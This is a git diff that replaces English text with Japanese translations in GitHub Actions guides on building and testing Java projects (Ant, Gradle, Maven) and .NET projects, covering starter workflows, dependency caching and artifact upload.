-The starter workflow will run the default target specified in your _build.xml_ file.  Your default target will commonly be set to build classes, run tests and package classes into their distributable format, for example, a JAR file.
+このスターターワークフローは、_build.xml_ファイルで指定されたデフォルトのターゲットを実行します。  デフォルトのターゲットは、一般的にクラスをビルドし、テストを実行し、たとえばJARファイルのような配布可能なフォーマットにクラスをパッケージするように設定されるでしょう。
 
-If you use different commands to build your project, or you want to run a different target, you can specify those. For example, you may want to run the `jar` target that's configured in your _build-ci.xml_ file.
+プロジェクトのビルドに異なるコマンドを使ったり、異なるターゲットを実行したいのであれば、それらを指定できます。 たとえば、_build-ci.xml_ファイル中で設定された`jar`ターゲットを実行したいこともあるでしょう。
 
 {% raw %}
 ```yaml{:copy}
@@ -103,11 +103,11 @@ steps:
 ```
 {% endraw %}
 
-## Packaging workflow data as artifacts
+## 成果物としてのワークフローのデータのパッケージ化
 
-After your build has succeeded and your tests have passed, you may want to upload the resulting Java packages as a build artifact. This will store the built packages as part of the workflow run, and allow you to download them. Artifacts can help you test and debug pull requests in your local environment before they're merged. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+ビルドが成功し、テストがパスした後には、結果のJavaのパッケージをビルドの成果物としてアップロードすることになるかもしれません。 そうすれば、ビルドされたパッケージをワークフローの実行の一部として保存することになり、それらをダウンロードできるようになります。 成果物によって、Pull Requestをマージする前にローカルの環境でテスト及びデバッグしやすくなります。 詳しい情報については「[成果物を利用してワークフローのデータを永続化する](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)」を参照してください。
 
-Ant will usually create output files like JARs, EARs, or WARs in the `build/jar` directory. You can upload the contents of that directory using the `upload-artifact` action.
+Antは通常、JAR、EAR、WARのような出力ファイルを`build/jar`ディレクトリに作成します。 このディレクトリの内容は`upload-artifact`アクションを使ってアップロードできます。
 
 {% raw %}
 ```yaml{:copy}
@@ -117,7 +117,7 @@ steps:
     with:
       java-version: '11'
       distribution: 'adopt'
-  
+
   - run: ant -noinput -buildfile build.xml
   - uses: actions/upload-artifact@v2
     with:
diff --git a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md
index 53d8174806..d5c8b35021 100644
--- a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md
+++ b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-java-with-gradle.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Java with Gradle
-intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Java project with Gradle.
+title: GradleでのJavaのビルドとテスト
+intro: GitHub Actions中で継続的インテグレーション（CI）ワークフローを作成し、GradleでJavaのプロジェクトのビルドとテストを行うことができます。
 redirect_from:
   - /actions/language-and-framework-guides/building-and-testing-java-with-gradle
   - /actions/guides/building-and-testing-java-with-gradle
@@ -20,23 +20,23 @@ shortTitle: Build & test Java & Gradle
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This guide shows you how to create a workflow that performs continuous integration (CI) for your Java project using the Gradle build system. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy. You can extend your CI workflow to cache files and upload artifacts from a workflow run.
+このガイドは、Gradleビルドシステムを使ってJavaのプロジェクトのための継続的インテグレーション（CI）を実行するワークフローを作成する方法を紹介します。 作成するワークフローによって、Pull Requestに対するコミットがデフォルトブランチに対してビルドあるいはテストの失敗を引き起こしたことを見ることができるようになります。このアプローチは、コードが常に健全であることを保証するための役に立ちます。 CIワークフローを拡張して、ファイルをキャッシュし、ワークフローの実行による成果物をアップロードするようにもできます。
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
 {% else %}
-{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Java Development Kits (JDKs) and Gradle. For a list of software and the pre-installed versions for JDK and Gradle, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+{% data variables.product.prodname_dotcom %}ホストランナーは、Java Development Kits（JDKs）及びGradleを含むプリインストールされたソフトウェアを伴うツールキャッシュを持ちます。 JDK および Gradle のソフトウェアとプリインストールされたバージョンのリストについては、「[{% data variables.product.prodname_dotcom %} でホストされているランナーの仕様](/actions/reference/specifications-for-github-hosted-runners/#supported-software)」を参照してください。
 {% endif %}
 
-## Prerequisites
+## 必要な環境
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see:
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+YAMLと{% data variables.product.prodname_actions %}の構文に馴染んでいる必要があります。 詳しい情報については、以下を参照してください。
+- [{% data variables.product.prodname_actions %}のワークフロー構文](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)
+- 「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」
 
-We recommend that you have a basic understanding of Java and the Gradle framework. For more information, see [Getting Started](https://docs.gradle.org/current/userguide/getting_started.html) in the Gradle documentation.
+Java及びGradleフレームワークの基本的な理解をしておくことをおすすめします。 詳しい情報については、Gradleのドキュメンテーションの[Getting Started](https://docs.gradle.org/current/userguide/getting_started.html)を参照してください。
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
@@ -44,9 +44,9 @@ We recommend that you have a basic understanding of Java and the Gradle framewor
 
 {% data variables.product.prodname_dotcom %} provides a Gradle starter workflow that will work for most Gradle-based Java projects. For more information, see the [Gradle starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/gradle.yml).
 
-To get started quickly, you can choose the preconfigured Gradle starter workflow when you create a new workflow. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)."
+To get started quickly, you can choose the preconfigured Gradle starter workflow when you create a new workflow. 詳しい情報については、「[{% data variables.product.prodname_actions %} のクイックスタート](/actions/quickstart)」を参照してください。
 
-You can also add this workflow manually by creating a new file in the `.github/workflows` directory of your repository.
+リポジトリの`.github/workflows`に新しいファイルを作成して、手作業でこのワークフローを追加することもできます。
 
 ```yaml{:copy}
 {% data reusables.actions.actions-not-certified-by-github-comment %}
@@ -72,12 +72,12 @@ jobs:
         run: ./gradlew build
 ```
 
-This workflow performs the following steps:
+このワークフローは以下のステップを実行します。
 
-1. The `checkout` step downloads a copy of your repository on the runner.
-2. The `setup-java` step configures the Java 11 JDK by Adoptium.
+1. `checkout`ステップは、ランナーにリポジトリのコピーをダウンロードします。
+2. `setup-java` ステップは、 Adoptium で Java 11 JDK を設定します。
 3. The "Validate Gradle wrapper" step validates the checksums of Gradle Wrapper JAR files present in the source tree.
-4. The "Build with Gradle" step runs the `gradlew` wrapper script to ensure that your code builds, tests pass, and a package can be created.
+4. "Build with Gradle"ステップは、ラッパースクリプトの`gradlew`を実行し、コードがビルドされ、テストをパスし、パッケージが作成できることを保証します。
 
 The default starter workflows are excellent starting points when creating your build and test workflow, and you can customize the starter workflow to suit your project’s needs.
 
@@ -85,13 +85,13 @@ The default starter workflows are excellent starting points when creating your b
 
 {% data reusables.github-actions.java-jvm-architecture %}
 
-## Building and testing your code
+## コードのビルドとテスト
 
-You can use the same commands that you use locally to build and test your code.
+ローカルで使うのと同じコマンドを、コードのビルドとテストに使えます。
 
-The starter workflow will run the `build` task by default. In the default Gradle configuration, this command will download dependencies, build classes, run tests, and package classes into their distributable format, for example, a JAR file.
+スターターワークフローは、デフォルトで`build`タスクを実行します。 デフォルトのGradleの設定では、このコマンドは依存関係をダウンロードし、クラスをビルドし、テストを実行し、たとえばJARファイルのような配布可能なフォーマットにクラスをパッケージします。
 
-If you use different commands to build your project, or you want to use a different task, you can specify those. For example, you may want to run the `package` task that's configured in your _ci.gradle_ file.
+プロジェクトのビルドに異なるコマンドを使ったり、異なるタスクを使いたいのであれば、それらを指定できます。 たとえば、_ci.gradle_ファイル中で設定された`package`タスクを実行したいこともあるでしょう。
 
 {% raw %}
 ```yaml{:copy}
@@ -108,9 +108,9 @@ steps:
 ```
 {% endraw %}
 
-## Caching dependencies
+## 依存関係のキャッシング
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache your dependencies to speed up your workflow runs. After a successful run, your local Gradle package cache will be stored on GitHub Actions infrastructure. In future workflow runs, the cache will be restored so that dependencies don't need to be downloaded from remote package repositories. You can cache dependencies simply using the [`setup-java` action](https://github.com/marketplace/actions/setup-java-jdk) or can use [`cache` action](https://github.com/actions/cache) for custom and more advanced configuration. 
+{% data variables.product.prodname_dotcom %}ホストランナーを使用する場合、依存関係をキャッシュしてワークフローの実行を高速化できます。 実行に成功した後、ローカルのGradleパッケージキャッシュがGitHub Actionsのインフラストラクチャ上に保存されます。 その後のワークフローの実行では、キャッシュがリストアされ、依存関係をリモートのパッケージリポジトリからダウンロードする必要がなくなります。 You can cache dependencies simply using the [`setup-java` action](https://github.com/marketplace/actions/setup-java-jdk) or can use [`cache` action](https://github.com/actions/cache) for custom and more advanced configuration.
 
 {% raw %}
 ```yaml{:copy}
@@ -128,20 +128,20 @@ steps:
     run: ./gradlew build
   - name: Cleanup Gradle Cache
     # Remove some files from the Gradle cache, so they aren't cached by GitHub Actions.
-    # Restoring these files from a GitHub Actions cache might cause problems for future builds.
+    # これらのファイルをGitHub Actionsのキャッシュからリストアすると、将来のビルドで問題が生じるかもしれない。
     run: |
       rm -f ~/.gradle/caches/modules-2/modules-2.lock
       rm -f ~/.gradle/caches/modules-2/gc.properties
 ```
 {% endraw %}
 
-This workflow will save the contents of your local Gradle package cache, located in the `.gradle/caches` and `.gradle/wrapper` directories of the runner's home directory. The cache key will be the hashed contents of the gradle build files (including the Gradle wrapper properties file), so any changes to them will invalidate the cache.
+このワークフローは、ランナーのホームディレクトリ内の`.gradle/caches`ディレクトリと`.gradle/wrapper`ディレクトリにあるローカルのGradleパッケージキャッシュの内容を保存します。 キャッシュのキーはGradleのビルドファイル（Gradleのラッパー属性ファイルを含む）の内容のハッシュになるので、それらに変更があればキャッシュは無効になります。
 
-## Packaging workflow data as artifacts
+## 成果物としてのワークフローのデータのパッケージ化
 
-After your build has succeeded and your tests have passed, you may want to upload the resulting Java packages as a build artifact. This will store the built packages as part of the workflow run, and allow you to download them. Artifacts can help you test and debug pull requests in your local environment before they're merged. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+ビルドが成功し、テストがパスした後には、結果のJavaのパッケージをビルドの成果物としてアップロードすることになるかもしれません。 そうすれば、ビルドされたパッケージをワークフローの実行の一部として保存することになり、それらをダウンロードできるようになります。 成果物によって、Pull Requestをマージする前にローカルの環境でテスト及びデバッグしやすくなります。 詳しい情報については「[成果物を利用してワークフローのデータを永続化する](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)」を参照してください。
 
-Gradle will usually create output files like JARs, EARs, or WARs in the `build/libs` directory. You can upload the contents of that directory using the `upload-artifact` action.
+Gradleは通常、JAR、EAR、WARのような出力ファイルを`build/libs`ディレクトリに作成します。 このディレクトリの内容は`upload-artifact`アクションを使ってアップロードできます。
 
 {% raw %}
 ```yaml{:copy}
diff --git a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md
index bc44e08de5..50a207e1ed 100644
--- a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md
+++ b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-java-with-maven.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing Java with Maven
-intro: You can create a continuous integration (CI) workflow in GitHub Actions to build and test your Java project with Maven.
+title: MavenでのJavaのビルドとテスト
+intro: GitHub Actions中で継続的インテグレーション（CI）ワークフローを作成し、MavenでJavaのプロジェクトのビルドとテストを行うことができます。
 redirect_from:
   - /actions/language-and-framework-guides/building-and-testing-java-with-maven
   - /actions/guides/building-and-testing-java-with-maven
@@ -20,23 +20,23 @@ shortTitle: Build & test Java with Maven
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This guide shows you how to create a workflow that performs continuous integration (CI) for your Java project using the Maven software project management tool. The workflow you create will allow you to see when commits to a pull request cause build or test failures against your default branch; this approach can help ensure that your code is always healthy. You can extend your CI workflow to cache files and upload artifacts from a workflow run.
+このガイドは、ソフトウェアプロジェクト管理ツールのMavenを使ってJavaのプロジェクトのための継続的インテグレーション（CI）を実行するワークフローを作成する方法を紹介します。 作成するワークフローによって、Pull Requestに対するコミットがデフォルトブランチに対してビルドあるいはテストの失敗を引き起こしたことを見ることができるようになります。このアプローチは、コードが常に健全であることを保証するための役に立ちます。 CIワークフローを拡張して、ファイルをキャッシュし、ワークフローの実行による成果物をアップロードするようにもできます。
 
 {% ifversion ghae %}
 {% data reusables.actions.self-hosted-runners-software %}
 {% else %}
-{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Java Development Kits (JDKs) and Maven. For a list of software and the pre-installed versions for JDK and Maven, see "[Specifications for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners/#supported-software)".
+{% data variables.product.prodname_dotcom %}ホストランナーは、Java Development Kits（JDKs）及びMavenを含むプリインストールされたソフトウェアを伴うツールキャッシュを持ちます。 JDK および Maven のソフトウェアとプリインストールされたバージョンのリストについては、「[{% data variables.product.prodname_dotcom %} でホストされているランナーの仕様](/actions/reference/specifications-for-github-hosted-runners/#supported-software)」を参照してください。
 {% endif %}
 
-## Prerequisites
+## 必要な環境
 
-You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see:
-- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)"
-- "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)"
+YAMLと{% data variables.product.prodname_actions %}の構文に馴染んでいる必要があります。 詳しい情報については、以下を参照してください。
+- [{% data variables.product.prodname_actions %}のワークフロー構文](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)
+- 「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」
 
-We recommend that you have a basic understanding of Java and the Maven framework. For more information, see the [Maven Getting Started Guide](http://maven.apache.org/guides/getting-started/index.html) in the Maven documentation.
+Java及びMavenフレームワークの基本的な理解をしておくことをおすすめします。 詳しい情報については、Mavenのドキュメンテーションの[Maven Getting Started Guide](http://maven.apache.org/guides/getting-started/index.html)を参照してください。
 
 {% data reusables.actions.enterprise-setup-prereq %}
 
@@ -44,9 +44,9 @@ We recommend that you have a basic understanding of Java and the Maven framework
 
 {% data variables.product.prodname_dotcom %} provides a Maven starter workflow that will work for most Maven-based Java projects. For more information, see the [Maven starter workflow](https://github.com/actions/starter-workflows/blob/main/ci/maven.yml).
 
-To get started quickly, you can choose the preconfigured Maven starter workflow when you create a new workflow. For more information, see the "[{% data variables.product.prodname_actions %} quickstart](/actions/quickstart)."
+To get started quickly, you can choose the preconfigured Maven starter workflow when you create a new workflow. 詳しい情報については、「[{% data variables.product.prodname_actions %} のクイックスタート](/actions/quickstart)」を参照してください。
 
-You can also add this workflow manually by creating a new file in the `.github/workflows` directory of your repository.
+リポジトリの`.github/workflows`に新しいファイルを作成して、手作業でこのワークフローを追加することもできます。
 
 {% raw %}
 ```yaml{:copy}
@@ -70,11 +70,11 @@ jobs:
 ```
 {% endraw %}
 
-This workflow performs the following steps:
+このワークフローは以下のステップを実行します。
 
-1. The `checkout` step downloads a copy of your repository on the runner.
-2. The `setup-java` step configures the Java 11 JDK by Adoptium.
-3. The "Build with Maven" step runs the Maven `package` target in non-interactive mode to ensure that your code builds, tests pass, and a package can be created.
+1. `checkout`ステップは、ランナーにリポジトリのコピーをダウンロードします。
+2. `setup-java` ステップは、 Adoptium で Java 11 JDK を設定します。
+3. "Build with Maven"ステップは、Mavenの`package`ターゲットを非インタラクティブモードで実行し、コードがビルドされ、テストをパスし、パッケージが作成できることを保証します。
 
 The default starter workflows are excellent starting points when creating your build and test workflow, and you can customize the starter workflow to suit your project’s needs.
 
@@ -82,13 +82,13 @@ The default starter workflows are excellent starting points when creating your b
 
 {% data reusables.github-actions.java-jvm-architecture %}
 
-## Building and testing your code
+## コードのビルドとテスト
 
-You can use the same commands that you use locally to build and test your code.
+ローカルで使うのと同じコマンドを、コードのビルドとテストに使えます。
 
-The starter workflow will run the `package` target by default. In the default Maven configuration, this command will download dependencies, build classes, run tests, and package classes into their distributable format, for example, a JAR file.
+スターターワークフローは、デフォルトで`package`タスクを実行します。 デフォルトのMavenの設定では、このコマンドは依存関係をダウンロードし、クラスをビルドし、テストを実行し、たとえばJARファイルのような配布可能なフォーマットにクラスをパッケージします。
 
-If you use different commands to build your project, or you want to use a different target, you can specify those. For example, you may want to run the `verify` target that's configured in a _pom-ci.xml_ file.
+プロジェクトのビルドに異なるコマンドを使ったり、異なるターゲットを使いたいのであれば、それらを指定できます。 たとえば、_pom-ci.xml_ファイル中で設定された`verify`ターゲットを実行したいこともあるでしょう。
 
 {% raw %}
 ```yaml{:copy}
@@ -103,9 +103,9 @@ steps:
 ```
 {% endraw %}
 
-## Caching dependencies
+## 依存関係のキャッシング
 
-When using {% data variables.product.prodname_dotcom %}-hosted runners, you can cache your dependencies to speed up your workflow runs. After a successful run, your local Maven repository will be stored on GitHub Actions infrastructure. In future workflow runs, the cache will be restored so that dependencies don't need to be downloaded from remote Maven repositories. You can cache dependencies simply using the [`setup-java` action](https://github.com/marketplace/actions/setup-java-jdk) or can use [`cache` action](https://github.com/actions/cache) for custom and more advanced configuration. 
+{% data variables.product.prodname_dotcom %}ホストランナーを使用する場合、依存関係をキャッシュしてワークフローの実行を高速化できます。 実行に成功した後、ローカルのMavenリポジトリがGitHub Actionsのインフラストラクチャ上に保存されます。 その後のワークフローの実行では、キャッシュがリストアされ、依存関係をリモートのMavenリポジトリからダウンロードする必要がなくなります。 You can cache dependencies simply using the [`setup-java` action](https://github.com/marketplace/actions/setup-java-jdk) or can use [`cache` action](https://github.com/actions/cache) for custom and more advanced configuration.
 
 {% raw %}
 ```yaml{:copy}
@@ -122,13 +122,13 @@ steps:
 ```
 {% endraw %}
 
-This workflow will save the contents of your local Maven repository, located in the `.m2` directory of the runner's home directory. The cache key will be the hashed contents of _pom.xml_, so changes to _pom.xml_ will invalidate the cache.
+このワークフローは、ランナーのホームディレクトリ内の`.m2`ディレクトリにあるローカルのMavenリポジトリの内容を保存します。 キャッシュのキーは_pom.xml_の内容をハッシュしたものになるので、_pom.xml_が変更されればキャッシュは無効になります。
 
-## Packaging workflow data as artifacts
+## 成果物としてのワークフローのデータのパッケージ化
 
-After your build has succeeded and your tests have passed, you may want to upload the resulting Java packages as a build artifact. This will store the built packages as part of the workflow run, and allow you to download them. Artifacts can help you test and debug pull requests in your local environment before they're merged. For more information, see "[Persisting workflow data using artifacts](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+ビルドが成功し、テストがパスした後には、結果のJavaのパッケージをビルドの成果物としてアップロードすることになるかもしれません。 そうすれば、ビルドされたパッケージをワークフローの実行の一部として保存することになり、それらをダウンロードできるようになります。 成果物によって、Pull Requestをマージする前にローカルの環境でテスト及びデバッグしやすくなります。 詳しい情報については「[成果物を利用してワークフローのデータを永続化する](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)」を参照してください。
 
-Maven will usually create output files like JARs, EARs, or WARs in the `target` directory. To upload those as artifacts, you can copy them into a new directory that contains artifacts to upload. For example, you can create a directory called `staging`. Then you can upload the contents of that directory using the `upload-artifact` action.
+Mavenは通常、JAR、EAR、WARのような出力ファイルを`target`ディレクトリに作成します。 それらを成果物としてアップロードするために、アップロードする成果物を含む新しいディレクトリにそれらをコピーできます。 たとえば、`staging`というディレクトリを作成できます。 として、そのディレクトリの内容を`upload-artifact`アクションを使ってアップロードできます。
 
 {% raw %}
 ```yaml{:copy}
diff --git a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-net.md b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-net.md
index 774d757556..327919e6c8 100644
--- a/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-net.md
+++ b/translations/ja-JP/content/actions/automating-builds-and-tests/building-and-testing-net.md
@@ -1,6 +1,6 @@
 ---
-title: Building and testing .NET
-intro: You can create a continuous integration (CI) workflow to build and test your .NET project.
+title: .NETでのビルドとテスト
+intro: .NETプロジェクトのビルドとテストのための継続的インテグレーション（CI）ワークフローを作成できます。
 redirect_from:
   - /actions/guides/building-and-testing-net
 versions:
@@ -14,19 +14,19 @@ shortTitle: Build & test .NET
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This guide shows you how to build, test, and publish a .NET package.
+このガイドは、.NETパッケージのビルド、テスト、公開の方法を紹介します。
 
 {% ifversion ghae %} To build and test your .NET project on {% data variables.product.prodname_ghe_managed %}, the .NET Core SDK is required. {% data reusables.actions.self-hosted-runners-software %}
-{% else %} {% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with preinstalled software, which includes the .NET Core SDK. For a full list of up-to-date software and the preinstalled versions of .NET Core SDK, see [software installed on {% data variables.product.prodname_dotcom %}-hosted runners](/actions/reference/specifications-for-github-hosted-runners).
+{% else %} {% data variables.product.prodname_dotcom %} ホストランナーには、.NET Core SDKを含むソフトウェアがプリインストールされたツールキャッシュがあります。 最新のソフトウェアとプリインストールされたバージョンの.NET Core SDKの完全なリストについては、[{% data variables.product.prodname_dotcom %}ホストランナー上にインストールされているソフトウェア](/actions/reference/specifications-for-github-hosted-runners)を参照してください。
 {% endif %}
 
-## Prerequisites
+## 必要な環境
 
-You should already be familiar with YAML syntax and how it's used with {% data variables.product.prodname_actions %}. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)."
+YAMLの構文と、{% data variables.product.prodname_actions %}でのYAMLの使われ方に馴染んでいる必要があります。 詳細については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)」を参照してください。
 
-We recommend that you have a basic understanding of the .NET Core SDK. For more information, see [Getting started with .NET](https://dotnet.microsoft.com/learn).
+.NET Core SDKの基本的な理解をしておくことをおすすめします。 詳細は「[Getting started with .NET](https://dotnet.microsoft.com/learn)」を参照してください。
 
 ## Using the .NET starter workflow
 
@@ -63,13 +63,13 @@ jobs:
 ```
 {% endraw %}
 
-## Specifying a .NET version
+## .NETのバージョンの指定
 
-To use a preinstalled version of the .NET Core SDK on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `setup-dotnet` action. This action finds a specific version of .NET from the tools cache on each runner, and adds the necessary binaries to `PATH`. These changes will persist for the remainder of the job.
+{% data variables.product.prodname_dotcom %}ホストランナーにプリインストールされたバージョンの.NET Core SDKを使うには、`setup-dotnet`アクションを使ってください。 このアクションは各ランナーのツールキャッシュから指定されたバージョンの.NETを見つけ、必要なバイナリを`PATH`に追加します。 これらの変更は、ジョブの残りの部分で保持されます。
 
-The `setup-dotnet` action is the recommended way of using .NET with {% data variables.product.prodname_actions %}, because it ensures consistent behavior across different runners and different versions of .NET. If you are using a self-hosted runner, you must install .NET and add it to `PATH`. For more information, see the [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk) action.
+`setup-dotnet`アクションは、{% data variables.product.prodname_actions %}で.NETを使うための推奨される方法です。これは、それによって様々なランナーや様々なバージョンの.NETに渡って一貫した振る舞いが保証されるためです。 セルフホストランナーを使っている場合は、.NETをインストールして`PATH`に追加しなければなりません。 詳しい情報については[`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk)アクションを参照してください。
 
-### Using multiple .NET versions
+### 複数の.NETバージョンの利用
 
 {% raw %}
 ```yaml
@@ -91,29 +91,29 @@ jobs:
         uses: actions/setup-dotnet@v1
         with:
           dotnet-version: ${{ matrix.dotnet-version }}
-      # You can test your matrix by printing the current dotnet version
+      # 現在の dotnet バージョンを出力してマトリックスをテストする
       - name: Display dotnet version
         run: dotnet --version
 ```
 {% endraw %}
 
-### Using a specific .NET version
+### 特定のバージョンの.NETの利用
 
-You can configure your job to use a specific version of .NET, such as `3.1.3`. Alternatively, you can use semantic version syntax to get the latest minor release. This example uses the latest minor release of .NET 3.
+`3.1.3`というような、特定のバージョンの.NETを使うようにジョブを設定できます。 あるいは、最新のマイナーリリースを取得するためにセマンティックバージョン構文を使うこともできます。 この例では.NET 3の最新のマイナーリリースを使っています。
 
 {% raw %}
 ```yaml
     - name: Setup .NET 3.x
       uses: actions/setup-dotnet@v1
       with:
-        # Semantic version range syntax or exact version of a dotnet version
+        # セマンティックバージョン範囲の構文または dotnet バージョンの正確なバージョン
         dotnet-version: '3.x'
 ```
 {% endraw %}
 
-## Installing dependencies
+## 依存関係のインストール
 
-{% data variables.product.prodname_dotcom %}-hosted runners have the NuGet package manager installed. You can use the dotnet CLI to install dependencies from the NuGet package registry before building and testing your code. For example, the YAML below installs the `Newtonsoft` package.
+{% data variables.product.prodname_dotcom %}ホストランナーには、NuGetパッケージマネージャーがインストールされています。 コードをビルドしてテストする前に、dotnetCLIを使って依存関係をNuGetパッケージレジストリからインストールしておくことができます。 たとえば、以下のYAMLは`Newtonsoft`パッケージをインストールします。
 
 {% raw %}
 ```yaml
@@ -130,11 +130,11 @@ steps:
 
 {% ifversion fpt or ghec %}
 
-### Caching dependencies
+### 依存関係のキャッシング
 
-You can cache NuGet dependencies using a unique key, which allows you to restore the dependencies for future workflows with the [`cache`](https://github.com/marketplace/actions/cache) action. For example, the YAML below installs the `Newtonsoft` package.
+ユニークなキーを使ってNuGetｎ依存関係をキャッシュしておくことができ、そうすることで将来のワークフローで[`cache`](https://github.com/marketplace/actions/cache)アクションによってその依存関係をリストアできます。 たとえば、以下のYAMLは`Newtonsoft`パッケージをインストールします。
 
-For more information, see "[Caching dependencies to speed up workflows](/actions/guides/caching-dependencies-to-speed-up-workflows)."
+詳しい情報については、「[ワークフローを高速化するための依存関係のキャッシュ](/actions/guides/caching-dependencies-to-speed-up-workflows)」を参照してください。
 
 {% raw %}
 ```yaml
@@ -147,7 +147,7 @@ steps:
 - uses: actions/cache@v2
   with:
     path: ~/.nuget/packages
-    # Look to see if there is a cache hit for the corresponding requirements file
+    # 対応する要件ファイルのキャッシュヒットがあるかどうかを確認する
     key: ${{ runner.os }}-nuget-${{ hashFiles('**/packages.lock.json') }}
     restore-keys: |
       ${{ runner.os }}-nuget
@@ -158,15 +158,15 @@ steps:
 
 {% note %}
 
-**Note:** Depending on the number of dependencies, it may be faster to use the dependency cache. Projects with many large dependencies should see a performance increase as it cuts down the time required for downloading. Projects with fewer dependencies may not see a significant performance increase and may even see a slight decrease due to how NuGet installs cached dependencies. The performance varies from project to project.
+**ノート：** 依存関係の数によっては、依存関係キャッシュを使う方が高速になることがあります。 多くの大きな依存関係を持つプロジェクトでは、ダウンロードに必要な時間を節約できるので、パフォーマンスの向上が見られるでしょう。 依存関係が少ないプロジェクトでは、大きなパフォーマンスの向上は見られないかもしれず、NuGetがキャッシュされた依存関係をインストールする方法のために、パフォーマンスがやや低下さえするかもしれません。 パフォーマンスはプロジェクトによって異なります。
 
 {% endnote %}
 
 {% endif %}
 
-## Building and testing your code
+## コードのビルドとテスト
 
-You can use the same commands that you use locally to build and test your code. This example demonstrates how to use `dotnet build` and `dotnet test` in a job:
+ローカルで使うのと同じコマンドを、コードのビルドとテストに使えます。 以下の例は、ジョブで`dotnet build`と`dotnet test`を使う方法を示します。
 
 {% raw %}
 ```yaml
@@ -185,11 +185,11 @@ steps:
 ```
 {% endraw %}
 
-## Packaging workflow data as artifacts
+## 成果物としてのワークフローのデータのパッケージ化
 
-After a workflow completes, you can upload the resulting artifacts for analysis. For example, you may need to save log files, core dumps, test results, or screenshots. The following example demonstrates how you can use the `upload-artifact` action to upload test results.
+ワークフローが完了すると、結果の成果物を分析のためにアップロードできます。 たとえば、ログファイル、コアダンプ、テスト結果、スクリーンショットを保存する必要があるかもしれません。 以下の例は、`upload-artifact`アクションを使ってテスト結果をアップロードする方法を示しています。
 
-For more information, see "[Persisting workflow data using artifacts](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)."
+詳しい情報については「[成果物を利用してワークフローのデータを永続化する](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts)」を参照してください。
 
 {% raw %}
 ```yaml
@@ -220,14 +220,14 @@ jobs:
           with:
             name: dotnet-results-${{ matrix.dotnet-version }}
             path: TestResults-${{ matrix.dotnet-version }}
-          # Use always() to always run this step to publish test results when there are test failures
+          # always() を使用して常にこのステップを実行し、テストが失敗したときにテスト結果を公開する
           if: ${{ always() }}
 ```
 {% endraw %}
 
-## Publishing to package registries
+## パッケージレジストリへの公開
 
-You can configure your workflow to publish your Dotnet package to a package registry when your CI tests pass. You can use repository secrets to store any tokens or credentials needed to publish your binary. The following example creates and publishes a package to {% data variables.product.prodname_registry %} using `dotnet core cli`.
